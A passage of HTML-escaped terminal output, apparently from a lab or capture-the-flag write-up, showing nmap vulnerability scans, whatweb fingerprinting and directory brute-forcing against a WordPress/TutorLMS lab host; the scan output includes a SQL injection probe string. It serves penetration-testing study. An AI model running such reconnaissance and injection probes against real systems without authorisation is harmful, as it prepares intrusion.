&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 254.79 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Nukem&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.236.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-20 02:36 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.236.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.41s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-stored-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any stored XSS vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-csrf:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Spidering limited to: &lt;span class="nv"&gt;maxdepth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;maxpagecount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;withinhost&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.236.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Found the following possible CSRF vulnerabilities:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/author/admin/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/author/admin/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/student-registration/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/student-registration/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/sample-page/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/sample-page/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/2020/09/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/2020/09/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/instructor-registration/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/instructor-registration/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/category/uncategorized/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/category/uncategorized/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/wp-login.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: loginform
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /wp-login.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/index.php/dashboard/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.236.105:80/?p&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-fileupload-exploiter:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Couldn&lt;span class="s1"&gt;&amp;#39;t find a file-type field.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;| Couldn&amp;#39;&lt;/span&gt;t find a file-type field.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Couldn&lt;span class="s1"&gt;&amp;#39;t find a file-type field.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-sql-injection:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Possible sqli &lt;span class="k"&gt;for&lt;/span&gt; queries:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ http://192.168.236.105:80/wp-includes/js/plupload/moxie.min.js?ver&lt;span class="o"&gt;=&lt;/span&gt;1.3.5%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-dombased-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any DOM based XSS.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-phpself-xss: ERROR: Script execution failed &lt;span class="o"&gt;(&lt;/span&gt;use -d to debug&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 556.05 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Nukem&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;└─$ whatweb http://192.168.236.105/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.105/ &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt; OK&lt;span class="o"&gt;]&lt;/span&gt; Apache&lt;span class="o"&gt;[&lt;/span&gt;2.4.46&lt;span class="o"&gt;]&lt;/span&gt;, Country&lt;span class="o"&gt;[&lt;/span&gt;RESERVED&lt;span class="o"&gt;][&lt;/span&gt;ZZ&lt;span class="o"&gt;]&lt;/span&gt;, Email&lt;span class="o"&gt;[&lt;/span&gt;admin@local.host&lt;span class="o"&gt;]&lt;/span&gt;, HTML5, HTTPServer&lt;span class="o"&gt;[&lt;/span&gt;Unix&lt;span class="o"&gt;][&lt;/span&gt;Apache/2.4.46 &lt;span class="o"&gt;(&lt;/span&gt;Unix&lt;span class="o"&gt;)&lt;/span&gt; PHP/7.4.10&lt;span class="o"&gt;]&lt;/span&gt;, IP&lt;span class="o"&gt;[&lt;/span&gt;192.168.236.105&lt;span class="o"&gt;]&lt;/span&gt;, JQuery, MetaGenerator&lt;span class="o"&gt;[&lt;/span&gt;TutorLMS 1.5.3,WordPress 5.5.1&lt;span class="o"&gt;]&lt;/span&gt;, PHP&lt;span class="o"&gt;[&lt;/span&gt;7.4.10&lt;span class="o"&gt;]&lt;/span&gt;, Script&lt;span class="o"&gt;[&lt;/span&gt;text/javascript&lt;span class="o"&gt;]&lt;/span&gt;, Title&lt;span class="o"&gt;[&lt;/span&gt;Retro Gamming &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#8211; Just another WordPress site], UncommonHeaders[link], WordPress[5.5.1], X-Powered-By[PHP/7.4.10]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/index.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.206.105/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/wp-content &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 242&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.206.105/wp-content/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/wp-login.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 6193&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/wordpress &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 241&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.206.105/wordpress/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/license.txt &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 19915&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/wp-includes &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 243&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.206.105/wp-includes/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/readme.html &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 7278&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/wp-trackback.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 135&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/wp-admin &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 240&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.206.105/wp-admin/&lt;span class="o"&gt;]&lt;/span&gt;
